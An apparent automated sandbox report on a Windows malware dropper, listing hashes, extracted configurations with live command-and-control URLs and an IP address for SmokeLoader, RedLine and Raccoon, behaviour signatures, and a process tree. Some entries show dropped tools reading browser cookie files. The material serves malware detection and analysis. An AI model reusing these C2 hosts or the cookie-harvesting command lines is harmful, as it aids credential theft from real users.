Resubmissions

21-08-2021 07:42

210821-3qrqnqchg6 10

21-08-2021 07:36

210821-4gz6gg81z2 10

Analysis

  • max time kernel
    662s
  • max time network
    1812s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    21-08-2021 07:42

General

  • Target

    C0672CA6E505B76756AC421EF9D33409.bin.exe

  • Size

    7.9MB

  • MD5

    c0672ca6e505b76756ac421ef9d33409

  • SHA1

    a773fe4c53105ae987d6c4cebaf3095102a6f103

  • SHA256

    b01b61c911a3b80d4f265e4915f9d62275efa34f84989f77be142f3f9e062f9b

  • SHA512

    b928cf61eb3dfc1503692a1db54ede52bd2c29b836198ded91d94e414e8bb3012ef3bb2b2e145358951252778403665ea8e9b5eef34fe22f329fc6a5947a0e55

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Extracted

Family

smokeloader

Version

2020

C2

http://aucmoney.com/upload/

http://thegymmum.com/upload/

http://atvcampingtrips.com/upload/

http://kuapakualaman.com/upload/

http://renatazarazua.com/upload/

http://nasufmutlu.com/upload/

rc4.i32
rc4.i32

Extracted

Family

redline

Botnet

www

C2

185.204.109.146:54891

Extracted

Family

raccoon

Botnet

93d3ccba4a3cbd5e268873fc1760b2335272e198

Attributes
  • url4cnc

    https://telete.in/opa4kiprivatem

rc4.plain
rc4.plain

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba Payload 4 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • NetSupport

    NetSupport is a remote access tool sold as a legitimate system administration software.

  • Process spawned unexpected child process 5 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 4 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

  • Socelars Payload 2 IoCs
  • Suspicious use of NtCreateProcessExOtherParentProcess 4 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • suricata: ET MALWARE Amadey CnC Check-In

    suricata: ET MALWARE Amadey CnC Check-In

  • suricata: ET MALWARE Generic Password Stealer User Agent Detected (RookIE)

    suricata: ET MALWARE Generic Password Stealer User Agent Detected (RookIE)

  • suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request

    suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request

  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Blocklisted process makes network request 24 IoCs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 4 IoCs
  • Executes dropped EXE 64 IoCs
  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks BIOS information in registry 2 TTPs 16 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 5 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses 2FA software files, possible credential harvesting 2 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 11 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 11 IoCs
  • Enumerates connected drives 3 TTPs 64 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 11 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 23 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 11 IoCs
  • Suspicious use of SetThreadContext 8 IoCs
  • autoit_exe 2 IoCs

    AutoIT scripts compiled to PE executables.

  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 29 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 64 IoCs
  • Checks SCSI registry key(s) 3 TTPs 64 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Kills process with taskkill 2 IoCs
  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 9 IoCs
  • Runs ping.exe 1 TTPs 2 IoCs
  • Script User-Agent 32 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 9 IoCs
  • Suspicious behavior: SetClipboardViewer 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 60 IoCs
  • Suspicious use of SetWindowsHookEx 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
    1⤵
      PID:1952
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
      1⤵
        PID:2440
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s Browser
        1⤵
          PID:2840
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s WpnService
          1⤵
            PID:2696
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
            1⤵
              PID:2680
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
              1⤵
                PID:2432
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s SENS
                1⤵
                  PID:1376
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s UserManager
                  1⤵
                    PID:1332
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s Themes
                    1⤵
                      PID:1184
                    • c:\windows\system32\svchost.exe
                      c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                      1⤵
                        PID:1088
                      • c:\windows\system32\svchost.exe
                        c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                        1⤵
                        • Drops file in System32 directory
                        PID:1028
                        • C:\Users\Admin\AppData\Local\Temp\bd1299733e\rnyuf.exe
                          C:\Users\Admin\AppData\Local\Temp\bd1299733e\rnyuf.exe
                          2⤵
                          • Executes dropped EXE
                          PID:4704
                        • C:\Users\Admin\AppData\Roaming\Microsoft\Network\sqlcmd.exe
                          C:\Users\Admin\AppData\Roaming\Microsoft\Network\sqlcmd.exe
                          2⤵
                            PID:10016
                        • c:\windows\system32\svchost.exe
                          c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
                          1⤵
                            PID:340
                          • C:\Users\Admin\AppData\Local\Temp\C0672CA6E505B76756AC421EF9D33409.bin.exe
                            "C:\Users\Admin\AppData\Local\Temp\C0672CA6E505B76756AC421EF9D33409.bin.exe"
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:800
                            • C:\Users\Admin\AppData\Local\Temp\KRSetp.exe
                              "C:\Users\Admin\AppData\Local\Temp\KRSetp.exe"
                              2⤵
                              • Executes dropped EXE
                              • Suspicious use of AdjustPrivilegeToken
                              PID:3184
                            • C:\Users\Admin\AppData\Local\Temp\Folder.exe
                              "C:\Users\Admin\AppData\Local\Temp\Folder.exe"
                              2⤵
                              • Executes dropped EXE
                              • Suspicious use of WriteProcessMemory
                              PID:3396
                              • C:\Users\Admin\AppData\Local\Temp\Folder.exe
                                "C:\Users\Admin\AppData\Local\Temp\Folder.exe" -a
                                3⤵
                                • Executes dropped EXE
                                PID:3332
                            • C:\Users\Admin\AppData\Local\Temp\Info.exe
                              "C:\Users\Admin\AppData\Local\Temp\Info.exe"
                              2⤵
                              • Executes dropped EXE
                              PID:184
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 184 -s 384
                                3⤵
                                • Program crash
                                PID:4436
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 184 -s 364
                                3⤵
                                • Program crash
                                PID:4684
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 184 -s 400
                                3⤵
                                • Program crash
                                PID:4852
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 184 -s 620
                                3⤵
                                • Program crash
                                PID:4308
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 184 -s 656
                                3⤵
                                • Program crash
                                PID:4244
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 184 -s 692
                                3⤵
                                • Program crash
                                PID:4152
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 184 -s 600
                                3⤵
                                • Program crash
                                PID:1820
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 184 -s 704
                                3⤵
                                • Program crash
                                PID:1544
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 184 -s 584
                                3⤵
                                • Program crash
                                PID:408
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 184 -s 540
                                3⤵
                                • Program crash
                                PID:5036
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 184 -s 692
                                3⤵
                                • Program crash
                                PID:4260
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 184 -s 540
                                3⤵
                                • Program crash
                                PID:5028
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 184 -s 640
                                3⤵
                                • Program crash
                                PID:3524
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 184 -s 828
                                3⤵
                                • Program crash
                                PID:416
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 184 -s 840
                                3⤵
                                • Program crash
                                PID:4368
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 184 -s 936
                                3⤵
                                • Program crash
                                PID:3344
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 184 -s 904
                                3⤵
                                • Program crash
                                PID:4984
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 184 -s 832
                                3⤵
                                • Program crash
                                PID:4232
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 184 -s 908
                                3⤵
                                • Program crash
                                PID:5024
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 184 -s 916
                                3⤵
                                • Program crash
                                PID:2256
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 184 -s 1004
                                3⤵
                                • Program crash
                                PID:4384
                              • C:\Users\Admin\AppData\Local\Temp\Info.exe
                                "C:\Users\Admin\AppData\Local\Temp\Info.exe"
                                3⤵
                                • Executes dropped EXE
                                • Modifies data under HKEY_USERS
                                PID:2340
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 2340 -s 348
                                  4⤵
                                  • Program crash
                                  PID:4404
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 2340 -s 328
                                  4⤵
                                  • Program crash
                                  PID:1048
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 2340 -s 376
                                  4⤵
                                  • Program crash
                                  PID:3956
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 2340 -s 592
                                  4⤵
                                  • Program crash
                                  PID:4732
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 2340 -s 564
                                  4⤵
                                  • Program crash
                                  PID:4820
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 2340 -s 664
                                  4⤵
                                  • Program crash
                                  PID:4608
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 2340 -s 568
                                  4⤵
                                  • Program crash
                                  PID:4828
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 2340 -s 708
                                  4⤵
                                  • Program crash
                                  PID:5008
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 2340 -s 756
                                  4⤵
                                  • Program crash
                                  PID:4856
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 2340 -s 820
                                  4⤵
                                  • Program crash
                                  PID:1348
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 2340 -s 712
                                  4⤵
                                  • Program crash
                                  PID:4316
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 2340 -s 796
                                  4⤵
                                  • Program crash
                                  PID:3036
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 2340 -s 608
                                  4⤵
                                  • Program crash
                                  PID:4004
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 2340 -s 720
                                  4⤵
                                  • Program crash
                                  PID:5028
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 2340 -s 1296
                                  4⤵
                                  • Program crash
                                  PID:4100
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 2340 -s 1304
                                  4⤵
                                  • Program crash
                                  PID:2336
                            • C:\Users\Admin\AppData\Local\Temp\File.exe
                              "C:\Users\Admin\AppData\Local\Temp\File.exe"
                              2⤵
                              • Executes dropped EXE
                              • Checks computer location settings
                              • Suspicious use of SetWindowsHookEx
                              PID:3620
                              • C:\Users\Admin\Documents\SP0rczKdUN4WafwAp7K9dGwC.exe
                                "C:\Users\Admin\Documents\SP0rczKdUN4WafwAp7K9dGwC.exe"
                                3⤵
                                • Executes dropped EXE
                                • Checks BIOS information in registry
                                • Checks whether UAC is enabled
                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                PID:4376
                              • C:\Users\Admin\Documents\LMGML0fevQKb_IbnOCvNyTPh.exe
                                "C:\Users\Admin\Documents\LMGML0fevQKb_IbnOCvNyTPh.exe"
                                3⤵
                                • Executes dropped EXE
                                • Checks BIOS information in registry
                                • Checks whether UAC is enabled
                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                PID:5080
                              • C:\Users\Admin\Documents\twswh2hajXdTW1tpu1QKXhnf.exe
                                "C:\Users\Admin\Documents\twswh2hajXdTW1tpu1QKXhnf.exe"
                                3⤵
                                • Executes dropped EXE
                                • Checks BIOS information in registry
                                • Checks whether UAC is enabled
                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                PID:4368
                              • C:\Users\Admin\Documents\unDR4SZfSOo1kdmFpzu0l3n4.exe
                                "C:\Users\Admin\Documents\unDR4SZfSOo1kdmFpzu0l3n4.exe"
                                3⤵
                                • Executes dropped EXE
                                • Suspicious use of SetThreadContext
                                PID:4840
                                • C:\Users\Admin\Documents\unDR4SZfSOo1kdmFpzu0l3n4.exe
                                  C:\Users\Admin\Documents\unDR4SZfSOo1kdmFpzu0l3n4.exe
                                  4⤵
                                  • Executes dropped EXE
                                  PID:1424
                              • C:\Users\Admin\Documents\ZhV0W4KJ5y_zDVSgx7yKL9p9.exe
                                "C:\Users\Admin\Documents\ZhV0W4KJ5y_zDVSgx7yKL9p9.exe"
                                3⤵
                                • Executes dropped EXE
                                • Suspicious use of SetWindowsHookEx
                                PID:5008
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5008 -s 760
                                  4⤵
                                  • Program crash
                                  PID:4896
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5008 -s 812
                                  4⤵
                                  • Program crash
                                  PID:5384
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5008 -s 856
                                  4⤵
                                  • Program crash
                                  PID:5520
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5008 -s 812
                                  4⤵
                                  • Program crash
                                  PID:5640
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5008 -s 956
                                  4⤵
                                  • Program crash
                                  PID:5740
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5008 -s 984
                                  4⤵
                                  • Program crash
                                  PID:5864
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5008 -s 1104
                                  4⤵
                                  • Program crash
                                  PID:5624
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5008 -s 1440
                                  4⤵
                                  • Program crash
                                  PID:4708
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5008 -s 1496
                                  4⤵
                                  • Program crash
                                  PID:4892
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5008 -s 1500
                                  4⤵
                                  • Program crash
                                  PID:5152
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5008 -s 900
                                  4⤵
                                  • Suspicious use of NtCreateProcessExOtherParentProcess
                                  • Program crash
                                  PID:6668
                              • C:\Users\Admin\Documents\ZummtwBURGbgDUsUW6Cgbksn.exe
                                "C:\Users\Admin\Documents\ZummtwBURGbgDUsUW6Cgbksn.exe"
                                3⤵
                                • Executes dropped EXE
                                PID:4408
                              • C:\Users\Admin\Documents\6DnbvwJNWM_ip7CMiXS4O1ii.exe
                                "C:\Users\Admin\Documents\6DnbvwJNWM_ip7CMiXS4O1ii.exe"
                                3⤵
                                • Executes dropped EXE
                                PID:2368
                                • C:\Users\Admin\AppData\Roaming\4283574.exe
                                  "C:\Users\Admin\AppData\Roaming\4283574.exe"
                                  4⤵
                                  • Executes dropped EXE
                                  PID:3132
                                • C:\Users\Admin\AppData\Roaming\7407157.exe
                                  "C:\Users\Admin\AppData\Roaming\7407157.exe"
                                  4⤵
                                  • Executes dropped EXE
                                  • Adds Run key to start application
                                  PID:4520
                                  • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                                    "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
                                    5⤵
                                    • Executes dropped EXE
                                    PID:4692
                              • C:\Users\Admin\Documents\Gtv0FJjxft0cGJyjsguxhkdi.exe
                                "C:\Users\Admin\Documents\Gtv0FJjxft0cGJyjsguxhkdi.exe"
                                3⤵
                                • Executes dropped EXE
                                • Checks BIOS information in registry
                                • Checks whether UAC is enabled
                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                PID:2852
                              • C:\Users\Admin\Documents\tz7fbcZzu21khWkRYSPGPcpc.exe
                                "C:\Users\Admin\Documents\tz7fbcZzu21khWkRYSPGPcpc.exe"
                                3⤵
                                • Executes dropped EXE
                                • Suspicious use of SetWindowsHookEx
                                PID:5116
                                • C:\Users\Admin\Documents\tz7fbcZzu21khWkRYSPGPcpc.exe
                                  "C:\Users\Admin\Documents\tz7fbcZzu21khWkRYSPGPcpc.exe"
                                  4⤵
                                  • Modifies data under HKEY_USERS
                                  PID:6088
                              • C:\Users\Admin\Documents\RArWJPZIqyTMstO1dTKkZv11.exe
                                "C:\Users\Admin\Documents\RArWJPZIqyTMstO1dTKkZv11.exe"
                                3⤵
                                • Executes dropped EXE
                                • Suspicious use of SetWindowsHookEx
                                PID:5048
                              • C:\Users\Admin\Documents\fXvKPY0n4gmvh8LI_mFmSWol.exe
                                "C:\Users\Admin\Documents\fXvKPY0n4gmvh8LI_mFmSWol.exe"
                                3⤵
                                • Executes dropped EXE
                                • Suspicious use of SetWindowsHookEx
                                PID:200
                                • C:\Users\Admin\Documents\fXvKPY0n4gmvh8LI_mFmSWol.exe
                                  "C:\Users\Admin\Documents\fXvKPY0n4gmvh8LI_mFmSWol.exe" -q
                                  4⤵
                                    PID:4640
                                • C:\Users\Admin\Documents\1Y_Xqy7xje5QCqFBB5F1C6cI.exe
                                  "C:\Users\Admin\Documents\1Y_Xqy7xje5QCqFBB5F1C6cI.exe"
                                  3⤵
                                  • Executes dropped EXE
                                  • Suspicious behavior: MapViewOfSection
                                  • Suspicious use of SetWindowsHookEx
                                  PID:1340
                                • C:\Users\Admin\Documents\IgxQafx1lOdbPL0ghXsU30t4.exe
                                  "C:\Users\Admin\Documents\IgxQafx1lOdbPL0ghXsU30t4.exe"
                                  3⤵
                                  • Executes dropped EXE
                                  • Suspicious use of SetWindowsHookEx
                                  PID:4048
                                  • C:\Program Files (x86)\Company\NewProduct\jooyu.exe
                                    "C:\Program Files (x86)\Company\NewProduct\jooyu.exe"
                                    4⤵
                                    • Executes dropped EXE
                                    PID:4632
                                    • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                      5⤵
                                      • Executes dropped EXE
                                      • Suspicious use of SetWindowsHookEx
                                      PID:3704
                                    • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                      5⤵
                                      • Executes dropped EXE
                                      • Suspicious use of SetWindowsHookEx
                                      PID:5480
                                  • C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
                                    "C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
                                    4⤵
                                    • Executes dropped EXE
                                    • Checks whether UAC is enabled
                                    • Drops file in Program Files directory
                                    PID:1076
                                  • C:\Program Files (x86)\Company\NewProduct\customer3.exe
                                    "C:\Program Files (x86)\Company\NewProduct\customer3.exe"
                                    4⤵
                                    • Executes dropped EXE
                                    • Suspicious use of SetWindowsHookEx
                                    PID:5004
                                    • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                      C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                      5⤵
                                      • Executes dropped EXE
                                      • Suspicious use of SetWindowsHookEx
                                      PID:4392
                                    • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                      C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                      5⤵
                                      • Executes dropped EXE
                                      • Suspicious use of SetWindowsHookEx
                                      PID:5312
                                    • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                      C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                      5⤵
                                      • Executes dropped EXE
                                      • Suspicious use of SetWindowsHookEx
                                      PID:5776
                                    • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                      C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                      5⤵
                                      • Executes dropped EXE
                                      • Suspicious use of SetWindowsHookEx
                                      PID:5184
                                    • C:\Windows\system32\WerFault.exe
                                      C:\Windows\system32\WerFault.exe -u -p 5004 -s 1516
                                      5⤵
                                      • Suspicious use of NtCreateProcessExOtherParentProcess
                                      • Program crash
                                      PID:6080
                                • C:\Users\Admin\Documents\VKgtr_krxidTcq22FbFRYkCo.exe
                                  "C:\Users\Admin\Documents\VKgtr_krxidTcq22FbFRYkCo.exe"
                                  3⤵
                                  • Executes dropped EXE
                                  • Suspicious use of SetWindowsHookEx
                                  PID:4336
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4336 -s 660
                                    4⤵
                                    • Drops file in Windows directory
                                    • Program crash
                                    PID:4108
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4336 -s 664
                                    4⤵
                                    • Program crash
                                    PID:3868
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4336 -s 660
                                    4⤵
                                    • Program crash
                                    PID:4772
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4336 -s 700
                                    4⤵
                                    • Program crash
                                    PID:4692
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4336 -s 1164
                                    4⤵
                                    • Program crash
                                    PID:5056
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4336 -s 1144
                                    4⤵
                                    • Executes dropped EXE
                                    • Suspicious use of SetThreadContext
                                    • Program crash
                                    PID:4852
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4336 -s 1156
                                    4⤵
                                    • Suspicious use of NtCreateProcessExOtherParentProcess
                                    • Program crash
                                    PID:4544
                                • C:\Users\Admin\Documents\SbczMQla6jJbsOtAuvut1y_6.exe
                                  "C:\Users\Admin\Documents\SbczMQla6jJbsOtAuvut1y_6.exe"
                                  3⤵
                                  • Executes dropped EXE
                                  • Suspicious use of SetWindowsHookEx
                                  PID:2204
                                • C:\Users\Admin\Documents\NqNMMZLTaQUTC5_FbmQVJIxV.exe
                                  "C:\Users\Admin\Documents\NqNMMZLTaQUTC5_FbmQVJIxV.exe"
                                  3⤵
                                  • Executes dropped EXE
                                  • Suspicious use of SetThreadContext
                                  PID:4508
                                  • C:\Users\Admin\Documents\NqNMMZLTaQUTC5_FbmQVJIxV.exe
                                    C:\Users\Admin\Documents\NqNMMZLTaQUTC5_FbmQVJIxV.exe
                                    4⤵
                                    • Executes dropped EXE
                                    PID:4352
                                • C:\Users\Admin\Documents\hTc0Dpsh4TfndmyTkdjOiqPu.exe
                                  "C:\Users\Admin\Documents\hTc0Dpsh4TfndmyTkdjOiqPu.exe"
                                  3⤵
                                    PID:4852
                                    • C:\Users\Admin\Documents\hTc0Dpsh4TfndmyTkdjOiqPu.exe
                                      C:\Users\Admin\Documents\hTc0Dpsh4TfndmyTkdjOiqPu.exe
                                      4⤵
                                      • Executes dropped EXE
                                      PID:744
                                    • C:\Users\Admin\Documents\hTc0Dpsh4TfndmyTkdjOiqPu.exe
                                      C:\Users\Admin\Documents\hTc0Dpsh4TfndmyTkdjOiqPu.exe
                                      4⤵
                                        PID:4704
                                      • C:\Users\Admin\Documents\hTc0Dpsh4TfndmyTkdjOiqPu.exe
                                        C:\Users\Admin\Documents\hTc0Dpsh4TfndmyTkdjOiqPu.exe
                                        4⤵
                                        • Executes dropped EXE
                                        PID:1500
                                    • C:\Users\Admin\Documents\P3oDkiC0GnmwrtkXIKGKmk1C.exe
                                      "C:\Users\Admin\Documents\P3oDkiC0GnmwrtkXIKGKmk1C.exe"
                                      3⤵
                                      • Executes dropped EXE
                                      PID:4680
                                    • C:\Users\Admin\Documents\AVrhVV_OwElqYHMf48oYIkMR.exe
                                      "C:\Users\Admin\Documents\AVrhVV_OwElqYHMf48oYIkMR.exe"
                                      3⤵
                                      • Executes dropped EXE
